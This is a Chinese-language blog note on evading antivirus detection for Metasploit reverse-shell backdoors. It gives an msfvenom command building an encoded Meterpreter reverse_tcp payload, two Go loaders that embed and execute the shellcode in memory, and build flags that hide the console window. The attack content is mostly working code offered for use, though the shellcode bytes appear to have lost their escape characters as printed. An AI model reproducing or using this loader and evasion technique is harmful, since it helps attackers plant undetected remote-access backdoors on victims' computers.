關於msf反彈後門的免殺Tips

2019 年 10 月 7 日
筆記

No.1

聲明

No.2

前言

msf是一個很強大的工具，我經常會在滲透用它來反彈shell，不過它生成的反彈後門會被不少殺軟kill，這篇文章只是講講我在msf中一個簡單的免殺小技巧。

No.3

思路

我以前接觸過一款python的遠控，其實說是遠控，基本也就是nc的功能加了一個服務端的web頁面控制並加了一些其他的功能可以用來管理諸多客戶機

這款遠控我下載下來用過，並用pyinstaller打包成了exe（缺點是體積太過龐大），驚奇的是，XXX不殺它，然後自己想着其他語言是不是也會這樣，於是我用golang寫了一個簡易版nc反彈，編譯之後，也是不查殺的。python和golang有一個共同點，就是可以用來內聯C編程，所以C語言的shellcode按理說應該會達到同樣的效果。

No.4

得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py > 1.py

建議是生成32位的，如果想生成64位也可以，-e x86/shikata_ga_nai -i 11是指用x86/shikata_ga_nai編碼迭代11次，然後生成py文件。 py文件打開是shellcode，我們接下來對它進行一點小改造，對於python去執行shellcode的方法，相信小夥伴都已經不陌生，在《python灰帽子》中有講解，我今天要使用的是golang，其實個人認為golang執行shellcode的代碼是更簡潔的。

No.5

Golang環境搭建

安裝Golang32位（建議32位，與前面對應，在測試過程中，如果32位shellcode配合64位golang加32位gcc，就算把golang的GOARCH改為386也依舊會失敗，建議一一對應），安裝gcc32位（可以使用TDM-GCC）。

No.6

代碼編寫

package main    /*  void call(char *code) {      int (*ret)() = (int(*)())code;      ret();  }  */  import "C"  import "unsafe"    func main() {      buf := ""      buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"      buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"      buf += "x46x84xfdx72xeex0exb5x96x37x04x6dx63x9f"      buf += "xccxa4x3ax8ex8cxf7x39x81xcaxe4x42xffxce"      buf += "xa3xa2xdbx06xc0x3fxafx41x73xbaxf7x20x13"      buf += "x98x8cxffxfax0axdax6exf2x6dxc3x81x07xc0"      buf += "x1bx37xebxa2xa9x32x71xafxe9x20xd1xaax9e"      buf += "xbdx82xf3x81x1fxabxbfxc4xd9x6cx75x37x3a"      buf += "x53x78x90x79xafx93x1bxb3x15x09xe5x45x5c"      buf += "x26x0fx0dx16x52xf1x8ax7ex8bxc4x50x8ex0a"      buf += "x38x2fx2bx40x73x0bxf0x51x5fxc6xbfx04x47"      buf += "x80x36xe5x88x88xb3xfcxa0x52xfex92x81x8d"      buf += "x89xf2x6axccx7fx9axe9x1ax30x73xa3x63x42"      buf += "x10xe9xcfx62xe4x06x52xe1x8dx88xfex52xc4"      buf += "xc3xedx7ax0ex66x5fx8cx2cxefxfaxbdx8cx79"      buf += "x6cx01xe3x5cxdexc4x8ax4cx7dx34x32xb5x23"      buf += "x56x6cx52x3fx15x26x6axf8x6bx81x2cx23x8d"      buf += "x41x6ex24x30xc6xcbxbax26xd4x3bx37xd3xc6"      buf += "xa8x5ax16x8fx1ex27xcaxcbxdax7fx74x62xb2"      buf += "x62xa6xb1xfcx64x53x3axa7xa4x21x3dx79x08"      buf += "x06x74x2axa2xe7x0dx68x16xa3x96xe5xadx32"      buf += "x10xa3x0fx49xc3x69xa7x5bx61x1axf8x1dx9e"      buf += "x9bx3ax00xfcx18xc3x42x1axd6x44x5dxfexc5"      buf += "xb6x68xd2xadx24xdax74xa7xf3x66x9ax42x7a"      buf += "x50xf0x0bx47xbcxadx6cx1excaxbex90xcaxc3"      buf += "x8ex5bxdex66xe2xb3x20x6fx38x17xc1xacxfb"      buf += "xd3x2fx91xa7xffx65xd7xd0x25x4cxd4xb3x35"      buf += "x38xa1x82xb8x23x42xe9xa5x95x8exc4x35xca"      buf += "x92xfexdex62x70xd6x7ax7fxfdxfbxf0x24xbd"      buf += "x5dx6dx3dx13xbcx1dx25x54x9dx0ex68xc8x9a"      buf += "x10x87xf0xc9xacx37x57x84x23x5fx8axc0xab"      buf += "x52x6exaex79xa2xdbxffxd8x41x28x8bxd3x9d"      buf += "x68x3cx55xf2xfex0cx8ax38xdfxb3x80x9bx70"      buf += "x2bx4exe1xfax0bxfexf5xc3x1ax0dx83xb0x69"      buf += "xd0x68xfbxe0xaexbdx56x52x17x9axf8x8fxc0"      buf += "x14x8cxb0xf7x0ex87xfax54xf4x04x4ax5axc8"      buf += "x89x57x0exbfx7ax76x9bxfexb8x5fx31x42xec"      buf += "xafx18x9ex3fxf0x09x79x86xb3x08x29x50xfd"      buf += "xc3x46x7dx24x51x5bxd0x81x19x6fxc2x2cx17"      buf += "xabxa3xb7xd9x6fx82xd9x37x5fx38x01xd8xfd"      buf += "xfdx11x22x61xd0x92x45x37x4fx6cx4ex91x3b"      buf += "x42x07xc5x77xdcx52xd6xc7x9dx7bx62xbax1c"      buf += "x62x3cxdexadx96x03x55xdex9dx52x5cx5dx0c"      buf += "x73x0exc3x4cxaex7dx1cx7cx64xafxbbxcexa6"      buf += "x02x0exb1x51xc4x2dx1bx6bxb7x7cxd9x4bxc3"      buf += "x8cx43xd6x1bx2ax4fx5ex0ax9axd5x4dx45x64"      buf += "x6cx0cxc8xf5x59xd7x45x36x85x99x8dx34x65"      buf += "x21xd3x3bx35xcex22x29x0cx4excax48x3fx55"      buf += "x5dx1bxdax35xc1x2d"      // at your call site, you can send the shellcode directly to the C      // function by converting it to a pointer of the correct type.      shellcode := []byte(buf)      C.call((*C.char)(unsafe.Pointer(&shellcode[0])))  }

以上就是全部代碼。其實Golang還有個執行shellcode的方法是不用內聯C語言的，但是我這邊測試能接到反彈shell，但是執行命令會直接斷開，代碼我也貼出來。

package main    import (      "syscall"      "unsafe"  )    func ThreadExecute(Shellcode []byte) {      var K32 = syscall.MustLoadDLL("kernel32.dll")      var CreateThread = K32.MustFindProc("CreateThread")      var VirtualAlloc = K32.MustFindProc("VirtualAlloc")      var WaitForSingleObject = K32.MustFindProc("WaitForSingleObject")        Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)      AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))        for i := 0; i < len(Shellcode); i++ {          AddrPtr[i] = Shellcode[i]      }        ThreadAddr, _, _ := CreateThread.Call(0, 0, Addr, 0, 0, 0)      WaitForSingleObject.Call(ThreadAddr, 0xFFFFFFFF)  }

關於斷開的原因，希望找出原因的能告知我一下，其實我們會發現，內聯C是比較簡單的。

No.7

殺毒測試

在代碼所在目錄cmd執行go build得到二進制文件（或者可以用go build -ldflags="-s -w"減小體積，go build -ldflags="-H windowsgui -s -w"去掉命令窗口）。。